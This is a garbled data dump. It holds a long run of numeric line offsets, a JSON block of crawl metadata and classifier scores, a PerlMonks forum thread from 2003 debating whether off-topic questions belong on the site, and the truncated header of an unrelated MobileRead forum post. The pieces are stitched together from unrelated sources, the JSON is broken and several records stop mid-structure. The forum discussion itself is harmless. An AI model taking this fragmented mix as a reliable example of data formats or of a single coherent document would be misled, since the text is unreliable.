136025,
136048,
136049,
136071,
136072,
136477,
136478,
137036,
137037,
137068,
137099,
137109,
137140,
137178,
137215,
137252,
137271,
137304,
137329,
137370,
137432,
137435,
137436,
137469,
137480,
137497,
137517,
137536,
137550,
137573,
137600,
137601,
137624,
137625,
138378,
138379,
138397,
138398,
138592,
138593,
138836,
138837,
139039,
139040,
139063,
139074,
139091,
139111,
139130,
139144,
139167,
139170,
139171,
139204,
139248,
139249,
139270,
139271,
139650,
139651,
139670,
139671,
140027,
140028,
140458,
140459,
140500,
140521,
140522,
141123,
141124,
141132,
141133,
141670,
141671,
141997,
141998,
142002,
142114,
142761,
142762,
142785,
142786,
143265,
143266,
143396,
143397,
143566,
143735,
143871,
143998,
143999,
144434,
144435,
144451,
144452,
144844,
144845,
145225,
145226,
145230,
145310,
145377,
145380,
145425,
145487,
145531,
145629,
145689,
145693,
145754,
145755,
145811,
145812,
145814,
145828,
145876,
145881,
145893,
145913,
145917,
145919,
145920,
145988,
145989,
146060,
146061,
146200,
146201,
146243,
146244,
147060,
147061,
147210,
147211,
147228,
147229,
147693,
147694,
147973,
147974,
147986,
147987,
148016,
148017,
148030,
148031,
148066,
148067,
148084,
148085,
148121,
148122,
148168,
148169,
148833,
148834,
149149,
149150,
149359,
149360,
149428,
149429,
149467,
149492,
149555,
149575,
149727,
149728,
149788,
149789,
149794,
149833,
149844,
149856,
149913,
149958,
150013,
150081,
150134,
150147,
150205,
150251,
150313,
150314,
150943,
150944,
151112,
151113,
151149,
151150,
151522,
151523,
151833,
151834,
151912,
151913,
152112,
152113,
152202,
152203,
152243,
152285,
152286,
152469,
152470,
152486,
152569,
152570,
152950,
152951,
152982,
152983,
152995,
152996,
153007,
153008,
153183,
153184,
153194,
153195,
153267,
153268,
153291,
153292,
153571,
153572,
153682,
153683,
153699,
153700,
154377,
154378,
154382,
154500,
155192,
155193,
155644,
155645,
156080,
156081,
156095,
156096,
156139,
156140,
156525,
156526,
157084,
157085,
157224,
157225,
157291,
157357,
157417,
157480,
157562,
157607,
157683,
157739,
157776,
157777,
158109,
158110,
158129,
158130,
158796,
158797,
159033,
159034,
159121,
159122,
159560,
159561,
159569,
159570,
159919,
159920,
160214,
160215,
160224,
160245,
160287,
160288,
160334,
160335,
160348,
160367,
160378,
160395,
160408,
160434,
160521,
160522,
160756,
160757,
160804,
160885,
160888,
160889,
161299,
161300,
161411,
161412,
161420,
161421,
161847,
161848,
161894,
161895,
161904,
161916,
162009,
162024,
162042,
162043,
162106,
162107,
162116,
162154,
162198,
162199,
162644,
162645,
162866,
162867,
162875,
162876,
163303,
163304,
163575,
163576,
163580,
163682,
164155,
164156,
164415,
164416,
164539,
164540,
164572,
164573,
164660,
164661,
164750,
164751,
164844,
164845,
164952,
164953,
165124,
165125,
165193,
165194,
165433,
165434,
165438
],
"line_end_idx": [
198,
199,
869,
870,
1253,
1254,
1894,
1895,
1977,
1978,
2432,
2433,
2836,
2837,
3213,
3214,
3559,
3560,
4052,
4053,
4633,
4634,
4997,
4998,
5739,
5740,
6154,
6155,
6170,
6226,
6291,
6303,
6367,
6369,
6438,
6464,
6465,
7031,
7032,
7969,
7970,
7974,
8104,
8367,
8368,
8530,
8531,
8877,
8878,
8912,
8913,
9164,
9165,
9468,
9469,
9561,
9562,
9574,
9575,
9954,
9955,
10157,
10158,
10220,
10221,
10284,
10313,
10317,
10399,
11211,
11212,
11250,
11251,
11567,
11568,
11625,
11626,
12152,
12153,
13046,
13047,
13637,
13638,
14400,
14401,
14792,
14793,
14820,
14821,
15460,
15461,
16229,
16230,
16901,
16902,
17129,
17130,
17391,
17392,
18351,
18352,
19060,
19061,
19114,
19175,
19256,
19343,
19417,
19430,
19515,
19576,
19660,
19742,
19823,
19902,
19963,
20044,
20116,
20165,
20225,
20259,
20260,
20719,
20720,
20725,
20726,
21523,
21524,
22118,
22119,
22123,
22205,
22445,
22446,
22775,
22776,
23138,
23139,
23289,
23290,
23345,
23356,
23384,
23404,
23430,
23466,
23499,
23516,
23523,
23546,
23572,
23599,
23640,
23646,
23650,
23660,
23675,
23712,
23716,
23717,
23769,
23770,
23786,
23787,
23790,
23801,
23836,
23853,
23867,
23899,
23912,
23933,
23961,
23987,
24002,
24031,
24038,
24043,
24048,
24059,
24099,
24116,
24130,
24162,
24175,
24196,
24224,
24250,
24265,
24296,
24303,
24310,
24342,
24355,
24376,
24409,
24435,
24440,
24443,
24444,
24808,
24809,
25318,
25319,
25736,
25737,
25764,
25765,
26477,
26478,
27381,
27382,
28120,
28121,
28985,
28986,
29006,
29007,
29540,
29541,
30090,
30091,
30445,
30446,
30818,
30819,
31112,
31113,
31168,
31221,
31222,
31278,
31300,
31353,
31389,
31404,
31416,
31443,
31485,
31520,
31527,
31554,
31604,
31633,
31638,
31642,
31643,
31697,
31747,
31800,
31836,
31841,
31860,
31864,
31865,
31920,
31970,
32023,
32027,
32028,
32040,
32041,
32228,
32229,
32268,
32308,
32557,
32661,
32890,
32891,
33402,
33403,
33848,
33849,
33853,
33955,
34254,
34255,
35042,
35043,
35568,
35569,
35594,
35595,
35823,
35824,
36005,
36006,
36036,
36037,
36053,
36117,
36137,
36166,
36183,
36200,
36214,
36227,
36228,
36247,
36248,
36749,
36750,
36766,
36783,
36804,
36831,
36848,
36869,
36896,
36913,
36934,
36935,
37584,
37585,
37601,
37602,
38033,
38034,
38058,
38059,
38273,
38274,
38280,
38297,
38322,
38346,
38357,
38373,
38374,
38413,
38414,
38559,
38560,
38568,
38583,
38604,
38605,
38643,
38644,
39145,
39146,
39162,
39191,
39218,
39271,
39285,
39314,
39386,
39387,
39412,
39413,
39753,
39754,
39760,
39771,
39786,
39799,
39814,
39835,
39838,
39850,
39890,
39941,
40077,
40164,
40222,
40223,
40253,
40254,
40546,
40547,
40558,
40578,
40609,
40650,
40681,
40693,
40748,
40802,
40803,
41416,
41417,
41608,
41609,
41647,
41648,
41700,
41701,
41800,
41801,
41821,
41822,
42106,
42107,
42140,
42141,
42764,
42765,
42776,
42786,
42800,
42801,
42830,
42831,
42983,
42984,
43048,
43049,
43148,
43149,
43177,
43178,
43530,
43531,
43586,
43587,
43615,
43708,
43762,
43877,
44001,
44078,
44166,
44270,
44330,
44331,
44337,
44353,
44354,
44365,
44383,
44413,
44447,
44448,
44462,
44477,
44495,
44519,
44554,
44602,
44619,
44632,
44633,
44653,
44654,
44670,
44685,
44710,
44736,
44760,
44761,
44780,
44799,
44814,
44858,
44910,
44952,
45023,
45036,
45037,
45058,
45089,
45105,
45178,
45200,
45221,
45243,
45266,
45282,
45283,
45312,
45354,
45412,
45428,
45443,
45467,
45492,
45588,
45610,
45633,
45649,
45662,
45663,
45680,
45700,
45718,
45740,
45763,
45779,
45780,
45795,
45834,
45850,
45905,
45922,
45940,
45956,
45957,
45993,
45994,
46213,
46214,
46226,
46227,
46246,
46266,
46332,
46333,
46358,
46360,
46361,
46382,
46441,
46501,
46502,
46519,
46520,
46529,
46532,
46533,
46556,
46671,
46727,
46779,
46780,
46822,
46868,
46883,
46884,
46907,
46936,
46937,
46953,
47025,
47066,
47067,
47395,
47396,
47439,
47440,
47728,
47729,
47736,
47781,
47823,
47864,
47902,
47903,
47913,
47926,
47941,
47957,
48052,
48071,
48088,
48110,
48127,
48128,
48138,
48165,
48166,
48213,
48214,
48461,
48462,
48600,
48601,
48663,
48690,
48856,
48883,
48919,
48934,
48947,
48948,
49031,
49032,
49047,
49113,
49131,
49187,
49188,
49614,
49615,
49652,
49736,
49770,
49858,
49859,
49964,
49965,
50007,
50011,
50055,
50059,
50107,
50108,
50172,
50173,
50244,
50245,
50317,
50318,
50328,
50329,
50657,
50658,
50683,
50684,
50690,
50711,
50733,
50751,
50768,
50783,
50802,
50818,
50819,
50828,
50829,
50902,
50903,
50948,
50949,
50962,
50963,
51018,
51022,
51136,
52107,
52108,
52755,
52756,
53245,
53246,
53265,
53297,
53298,
53364,
53397,
53398,
53419,
53433,
53434,
53452,
53526,
53527,
53547,
53570,
53660,
53661,
53676,
53761,
53762,
53783,
53852,
53918,
54007,
54008,
54036,
54099,
54161,
54249,
54290,
54291,
54688,
54689,
54726,
54727,
54822,
54895,
55002,
55003,
55064,
55065,
55395,
55517,
55518,
55909,
55910,
55914,
56032,
56256,
56257,
56626,
56627,
56924,
56925,
57513,
57514,
58037,
58038,
58465,
58466,
58863,
58864,
58900,
58901,
59214,
59215,
59801,
59802,
60211,
60212,
60646,
60647,
60722,
60723,
60740,
60759,
60778,
60797,
60798,
61406,
61407,
61602,
61603,
61690,
61789,
61826,
61892,
61893,
61900,
61901,
62007,
62008,
62774,
62775,
62779,
62877,
62940,
62941,
63110,
63111,
63477,
63478,
63900,
63901,
64284,
64285,
64289,
64385,
64722,
64723,
65573,
65574,
66068,
66069,
66400,
66401,
67059,
67060,
67669,
67670,
68338,
68339,
68668,
68669,
68673,
68757,
69171,
69172,
69532,
69533,
69888,
69889,
70149,
70150,
70535,
70536,
70652,
70653,
70698,
70726,
70741,
70770,
70787,
70788,
70973,
70974,
70994,
70995,
71026,
71027,
71559,
71560,
71584,
71585,
71797,
71798,
72044,
72045,
72056,
72057,
72298,
72299,
72325,
72326,
72442,
72443,
72466,
72467,
72911,
72912,
72926,
72927,
73140,
73141,
73145,
73231,
73589,
73590,
73745,
73746,
74038,
74039,
74830,
74831,
75013,
75014,
75023,
75024,
75255,
75256,
75267,
75280,
75300,
75310,
75324,
75340,
75360,
75380,
75399,
75421,
75461,
75478,
75498,
75518,
75537,
75559,
75591,
75592,
75603,
75604,
75689,
75690,
75697,
75710,
75729,
75741,
75790,
75860,
75885,
75912,
75928,
75941,
75957,
76009,
76035,
76053,
76054,
76509,
76510,
76521,
76522,
76529,
76551,
76563,
76572,
76606,
76632,
76633,
76895,
76896,
77175,
77176,
77306,
77307,
77327,
77328,
77877,
77878,
77952,
77953,
77960,
77973,
77982,
78010,
78027,
78078,
78135,
78205,
78279,
78327,
78381,
78382,
78433,
78493,
78494,
78533,
78612,
78613,
78633,
78679,
78740,
78741,
78766,
78790,
78836,
78867,
78868,
78905,
78933,
78969,
79007,
79008,
79049,
79110,
79171,
79211,
79266,
79267,
79302,
79330,
79366,
79445,
79469,
79529,
79560,
79561,
79595,
79628,
79629,
79834,
79835,
79859,
79860,
79903,
79952,
80014,
80080,
80120,
80166,
80167,
80500,
80501,
80841,
80842,
80858,
80859,
80902,
80954,
80955,
80986,
81057,
81058,
81397,
81398,
81670,
81671,
81680,
81681,
81693,
81731,
81784,
81785,
81802,
81818,
81856,
81879,
81880,
81909,
81929,
81957,
81987,
81988,
82189,
82190,
82430,
82431,
82442,
82443,
82737,
82738,
82771,
82824,
82877,
82909,
82956,
82957,
83359,
83360,
83387,
83407,
83435,
83506,
83522,
83574,
83597,
83598,
83868,
83869,
83895,
83920,
83921,
84310,
84311,
84326,
84327,
84351,
84375,
84376,
84824,
84825,
84829,
84945,
85193,
85194,
85767,
85768,
86097,
86098,
86401,
86402,
86416,
86417,
86756,
86757,
86774,
86775,
87074,
87075,
87165,
87166,
87175,
87194,
87234,
87235,
87361,
87362,
87384,
87385,
87934,
87935,
88163,
88164,
88182,
88183,
88834,
88835,
88886,
88887,
88906,
88907,
89181,
89182,
89301,
89302,
89320,
89321,
89840,
89841,
89924,
89925,
89944,
89945,
90327,
90328,
90618,
90619,
90655,
90656,
91111,
91112,
91219,
91220,
91237,
91238,
91825,
91826,
91832,
91833,
92124,
92125,
92134,
92135,
92389,
92390,
92421,
92422,
92442,
92443,
92862,
92863,
93229,
93230,
93696,
93697,
94068,
94069,
94076,
94077,
94539,
94540,
94605,
94606,
94624,
94625,
95080,
95081,
95293,
95294,
95300,
95301,
95728,
95729,
96047,
96048,
96062,
96063,
96547,
96548,
96558,
96559,
96948,
96949,
97281,
97282,
97310,
97311,
97335,
97362,
97375,
97376,
97389,
97402,
97414,
97425,
97434,
97435,
97694,
97695,
97861,
97862,
97887,
97888,
98022,
98023,
98045,
98099,
98117,
98163,
98199,
98218,
98249,
98276,
98295,
98327,
98329,
98350,
98391,
98433,
98449,
98496,
98541,
98581,
98609,
98610,
98989,
98990,
99279,
99280,
99295,
99328,
99359,
99374,
99391,
99403,
99420,
99453,
99455,
99510,
99542,
99552,
99575,
99576,
99584,
99585,
99791,
99792,
100113,
100114,
100128,
100129,
100484,
100485,
100528,
100529,
100610,
100611,
100634,
100644,
100696,
100697,
100718,
100739,
100757,
100775,
100795,
100804,
100805,
100892,
100893,
100947,
100948,
100989,
100996,
101019,
101043,
101044,
101057,
101078,
101126,
101127,
101145,
101163,
101180,
101197,
101214,
101231,
101248,
101265,
101274,
101275,
101410,
101411,
101439,
101440,
101708,
101709,
101722,
101723,
101744,
101745,
101833,
101834,
102197,
102458,
102715,
102716,
102738,
102739,
102884,
102885,
102898,
102899,
103261,
103262,
103288,
103289,
103574,
103575,
103601,
103602,
103611,
103612,
103971,
103972,
103976,
104084,
104855,
104856,
105314,
105315,
105977,
105978,
106015,
106016,
106604,
106605,
107048,
107049,
107731,
107732,
107890,
107891,
107920,
107921,
108235,
108236,
108494,
108495,
108537,
108538,
108560,
108625,
108628,
108629,
108919,
108920,
109132,
109133,
109251,
109383,
109490,
109491,
109740,
109741,
109756,
109757,
110318,
110319,
110739,
110740,
111182,
111183,
111278,
111279,
111564,
111565,
111585,
111586,
112164,
112165,
112555,
112556,
112585,
112586,
113307,
113308,
113417,
113418,
113442,
113443,
113484,
113485,
114048,
114049,
114053,
114054,
114382,
114383,
114679,
114680,
114684,
114796,
115122,
115123,
115204,
115253,
115270,
115306,
115350,
115394,
115411,
115412,
115444,
115445,
115559,
115673,
115782,
115883,
115996,
116097,
116210,
116321,
116424,
116528,
116629,
116742,
116743,
117321,
117322,
117347,
117367,
117398,
117418,
117437,
117467,
117498,
117517,
117536,
117553,
117574,
117592,
117614,
117634,
117649,
117676,
117707,
117726,
117744,
117773,
117802,
117803,
118533,
118534,
119085,
119086,
119115,
119116,
119499,
119500,
120526,
120527,
121158,
121159,
121185,
121186,
121188,
121202,
121242,
121255,
121276,
121347,
121366,
121385,
121412,
121477,
121497,
121503,
121507,
121509,
121510,
122122,
122123,
122147,
122148,
122761,
122762,
123199,
123200,
123207,
123216,
123229,
123260,
123281,
123296,
123309,
123326,
123352,
123374,
123397,
123414,
123435,
123476,
123489,
123506,
123527,
123556,
123569,
123586,
123607,
123644,
123656,
123666,
123674,
123680,
123684,
123686,
123687,
124038,
124039,
124049,
124050,
124528,
124529,
124792,
124793,
125310,
125311,
125326,
125327,
125334,
125338,
125351,
125387,
125408,
125425,
125440,
125469,
125489,
125512,
125529,
125554,
125564,
125573,
125588,
125617,
125637,
125660,
125677,
125714,
125724,
125733,
125748,
125787,
125807,
125830,
125847,
125884,
125895,
125912,
125937,
125947,
125955,
125960,
125966,
125967,
126532,
126533,
126537,
126637,
127148,
127149,
127696,
127697,
128340,
128341,
128378,
128379,
128544,
128921,
129198,
129544,
129545,
129578,
129579,
129955,
129956,
130462,
130463,
130956,
130957,
130974,
130975,
131565,
131566,
132023,
132024,
132063,
132064,
132592,
132593,
132978,
132979,
133090,
133091,
133125,
133126,
133667,
133668,
134207,
134208,
134265,
134266,
134893,
134894,
135235,
135236,
135511,
135512,
135516,
135622,
135969,
135970,
136003,
136025,
136048,
136049,
136071,
136072,
136477,
136478,
137036,
137037,
137068,
137099,
137109,
137140,
137178,
137215,
137252,
137271,
137304,
137329,
137370,
137432,
137435,
137436,
137469,
137480,
137497,
137517,
137536,
137550,
137573,
137600,
137601,
137624,
137625,
138378,
138379,
138397,
138398,
138592,
138593,
138836,
138837,
139039,
139040,
139063,
139074,
139091,
139111,
139130,
139144,
139167,
139170,
139171,
139204,
139248,
139249,
139270,
139271,
139650,
139651,
139670,
139671,
140027,
140028,
140458,
140459,
140500,
140521,
140522,
141123,
141124,
141132,
141133,
141670,
141671,
141997,
141998,
142002,
142114,
142761,
142762,
142785,
142786,
143265,
143266,
143396,
143397,
143566,
143735,
143871,
143998,
143999,
144434,
144435,
144451,
144452,
144844,
144845,
145225,
145226,
145230,
145310,
145377,
145380,
145425,
145487,
145531,
145629,
145689,
145693,
145754,
145755,
145811,
145812,
145814,
145828,
145876,
145881,
145893,
145913,
145917,
145919,
145920,
145988,
145989,
146060,
146061,
146200,
146201,
146243,
146244,
147060,
147061,
147210,
147211,
147228,
147229,
147693,
147694,
147973,
147974,
147986,
147987,
148016,
148017,
148030,
148031,
148066,
148067,
148084,
148085,
148121,
148122,
148168,
148169,
148833,
148834,
149149,
149150,
149359,
149360,
149428,
149429,
149467,
149492,
149555,
149575,
149727,
149728,
149788,
149789,
149794,
149833,
149844,
149856,
149913,
149958,
150013,
150081,
150134,
150147,
150205,
150251,
150313,
150314,
150943,
150944,
151112,
151113,
151149,
151150,
151522,
151523,
151833,
151834,
151912,
151913,
152112,
152113,
152202,
152203,
152243,
152285,
152286,
152469,
152470,
152486,
152569,
152570,
152950,
152951,
152982,
152983,
152995,
152996,
153007,
153008,
153183,
153184,
153194,
153195,
153267,
153268,
153291,
153292,
153571,
153572,
153682,
153683,
153699,
153700,
154377,
154378,
154382,
154500,
155192,
155193,
155644,
155645,
156080,
156081,
156095,
156096,
156139,
156140,
156525,
156526,
157084,
157085,
157224,
157225,
157291,
157357,
157417,
157480,
157562,
157607,
157683,
157739,
157776,
157777,
158109,
158110,
158129,
158130,
158796,
158797,
159033,
159034,
159121,
159122,
159560,
159561,
159569,
159570,
159919,
159920,
160214,
160215,
160224,
160245,
160287,
160288,
160334,
160335,
160348,
160367,
160378,
160395,
160408,
160434,
160521,
160522,
160756,
160757,
160804,
160885,
160888,
160889,
161299,
161300,
161411,
161412,
161420,
161421,
161847,
161848,
161894,
161895,
161904,
161916,
162009,
162024,
162042,
162043,
162106,
162107,
162116,
162154,
162198,
162199,
162644,
162645,
162866,
162867,
162875,
162876,
163303,
163304,
163575,
163576,
163580,
163682,
164155,
164156,
164415,
164416,
164539,
164540,
164572,
164573,
164660,
164661,
164750,
164751,
164844,
164845,
164952,
164953,
165124,
165125,
165193,
165194,
165433,
165434,
165438,
165549
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 165549,
"ccnet_original_nlines": 1924,
"rps_doc_curly_bracket": 0.0013832800323143601,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37835633754730225,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025540219619870186,
"rps_doc_frac_lines_end_with_ellipsis": 0.0020779198966920376,
"rps_doc_frac_no_alph_words": 0.2146601378917694,
"rps_doc_frac_unique_words": 0.1739691197872162,
"rps_doc_mean_word_length": 4.994840621948242,
"rps_doc_num_sentences": 1672,
"rps_doc_symbol_to_word_ratio": 0.0020385601092129946,
"rps_doc_unigram_entropy": 6.760416507720947,
"rps_doc_word_count": 25585,
"rps_doc_frac_chars_dupe_10grams": 0.017340540885925293,
"rps_doc_frac_chars_dupe_5grams": 0.03644957020878792,
"rps_doc_frac_chars_dupe_6grams": 0.027372390031814575,
"rps_doc_frac_chars_dupe_7grams": 0.022223440930247307,
"rps_doc_frac_chars_dupe_8grams": 0.01951594091951847,
"rps_doc_frac_chars_dupe_9grams": 0.01774745061993599,
"rps_doc_frac_chars_top_2gram": 0.0038343300111591816,
"rps_doc_frac_chars_top_3gram": 0.0006103600026108325,
"rps_doc_frac_chars_top_4gram": 0.0008216400165110826,
"rps_doc_books_importance": -15970.279296875,
"rps_doc_books_importance_length_correction": -15970.279296875,
"rps_doc_openwebtext_importance": -8383.9609375,
"rps_doc_openwebtext_importance_length_correction": -8383.9609375,
"rps_doc_wikipedia_importance": -5096.6689453125,
"rps_doc_wikipedia_importance_length_correction": -5096.6689453125
},
"fasttext": {
"dclm": 0.5083827972412109,
"english": 0.9176374673843384,
"fineweb_edu_approx": 1.8176089525222778,
"eai_general_math": 0.6303139328956604,
"eai_open_web_math": 0.22024697065353394,
"eai_web_code": 0.8297920823097229
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,409,906,377,889,095,000 | Beefy Boxes and Bandwidth Generously Provided by pair Networks
Your skill will accomplish
what the force of many cannot
PerlMonks
Re: What is PerlMonks anyway?
by cLive ;-) (Parson)
on Oct 01, 2003 at 19:42 UTC ( #295738=note: print w/replies, xml ) Need Help??
in reply to What is PerlMonks anyway?
I don't think we need SORW. There are times when you want to ask a non-Perl question, and I have done a few times, because I know it's so related to what a lot of other Perl developers have to deal with. Eg, things to do with Apache, Javascript, HTML rendering, odd quirks of *nix commands. These are things that, although OT, they *are* on topic for a lot of people here and are useful peripheral questions to have answered here.
But there's nothing wrong with posting them in the current system, just as long as you mark it "OT", and don't ask them too often.
I think the Monastery has fuzzy borders, and that's part of its charm. I think we just need to provide a rough guideline for "When is OT OK?".
.02
cLive ;-)
Replies are listed 'Best First'.
Re: Re: What is PerlMonks anyway?
by barrd (Monsignor) on Oct 01, 2003 at 21:01 UTC
I think the Monastery has fuzzy borders, and that's part of its charm. I think we just need to provide a rough guideline for "When is OT OK?".
Here here.. well put, a hot debate succinctly observed, inc other items like Dbs (MySQL, PG, Oracle...), not to mention Java, C, C++, or different OS questions covering M$, Mac, *nix and a host of other related but non 'pure' perl subjects. Lets keep it together people, perl is a part of the whole, people enjoy and have need of a forum to answer peripheral questions related to the larger problem in hand. I think as long as it has some relevance to perl we shouldn't persecute out of hand.
Log In?
Username:
Password:
What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://295738]
help
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others studying the Monastery: (5)
As of 2016-09-28 02:47 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
Extraterrestrials haven't visited the Earth yet because:
Results (518 votes). Check out past polls. | {
"url": "http://www.perlmonks.org/?node_id=295738",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2016-40",
"warc_metadata": {
"Content-Length": "19745",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6UE3DOMV72CMGJXLDHC5FDBIYHC5IYPF",
"WARC-Concurrent-To": "<urn:uuid:b6fca2a2-1b04-494a-a9c3-00f5791c6135>",
"WARC-Date": "2016-09-28T02:50:11Z",
"WARC-IP-Address": "216.92.34.251",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:D46VXXJUCVM5FYB5AFZPASKSBORZZPV6",
"WARC-Record-ID": "<urn:uuid:c837a13e-f55d-43ea-9391-1a0d90fa16fa>",
"WARC-Target-URI": "http://www.perlmonks.org/?node_id=295738",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2080b49f-677c-4bbe-897b-f575fe1fb40d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-143-35-109.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-40\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for September 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
63,
90,
120,
122,
134,
135,
165,
166,
188,
268,
269,
270,
308,
309,
740,
741,
872,
873,
1016,
1017,
1021,
1022,
1032,
1033,
1066,
1100,
1150,
1297,
1794,
1795,
1803,
1813,
1823,
1824,
1844,
1862,
1875,
1888,
1918,
1923,
1935,
1972,
1973,
2011,
2024,
2059,
2086,
2096,
2109,
2121,
2132,
2150,
2211,
2212,
2213,
2214,
2215,
2216,
2217,
2218
],
"line_end_idx": [
63,
90,
120,
122,
134,
135,
165,
166,
188,
268,
269,
270,
308,
309,
740,
741,
872,
873,
1016,
1017,
1021,
1022,
1032,
1033,
1066,
1100,
1150,
1297,
1794,
1795,
1803,
1813,
1823,
1824,
1844,
1862,
1875,
1888,
1918,
1923,
1935,
1972,
1973,
2011,
2024,
2059,
2086,
2096,
2109,
2121,
2132,
2150,
2211,
2212,
2213,
2214,
2215,
2216,
2217,
2218,
2264
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2264,
"ccnet_original_nlines": 60,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3524904251098633,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0517241396009922,
"rps_doc_frac_lines_end_with_ellipsis": 0.01639343984425068,
"rps_doc_frac_no_alph_words": 0.2509578466415405,
"rps_doc_frac_unique_words": 0.5575447678565979,
"rps_doc_mean_word_length": 4.317135334014893,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.005747130140662193,
"rps_doc_unigram_entropy": 5.088329315185547,
"rps_doc_word_count": 391,
"rps_doc_frac_chars_dupe_10grams": 0.12796208262443542,
"rps_doc_frac_chars_dupe_5grams": 0.17298577725887299,
"rps_doc_frac_chars_dupe_6grams": 0.15758293867111206,
"rps_doc_frac_chars_dupe_7grams": 0.12796208262443542,
"rps_doc_frac_chars_dupe_8grams": 0.12796208262443542,
"rps_doc_frac_chars_dupe_9grams": 0.12796208262443542,
"rps_doc_frac_chars_top_2gram": 0.017772510647773743,
"rps_doc_frac_chars_top_3gram": 0.026658769696950912,
"rps_doc_frac_chars_top_4gram": 0.0373222716152668,
"rps_doc_books_importance": -243.26307678222656,
"rps_doc_books_importance_length_correction": -243.26307678222656,
"rps_doc_openwebtext_importance": -144.5597381591797,
"rps_doc_openwebtext_importance_length_correction": -144.5597381591797,
"rps_doc_wikipedia_importance": -143.35195922851562,
"rps_doc_wikipedia_importance_length_correction": -143.35195922851562
},
"fasttext": {
"dclm": 0.0860864520072937,
"english": 0.9587085843086243,
"fineweb_edu_approx": 1.7642796039581299,
"eai_general_math": 0.023930009454488754,
"eai_open_web_math": 0.3506300449371338,
"eai_web_code": 0.00009619999764254317
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "302.2",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social psychology"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-8,827,531,642,799,732,000 | View Single Post
Old 07-25-2010, 11:50 AM #16
Starson17
Wizard
Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.Starson17 can program the VCR without an owner's manual.
Posts: 4,004
Karma: 177841
Join Date: Dec 2009
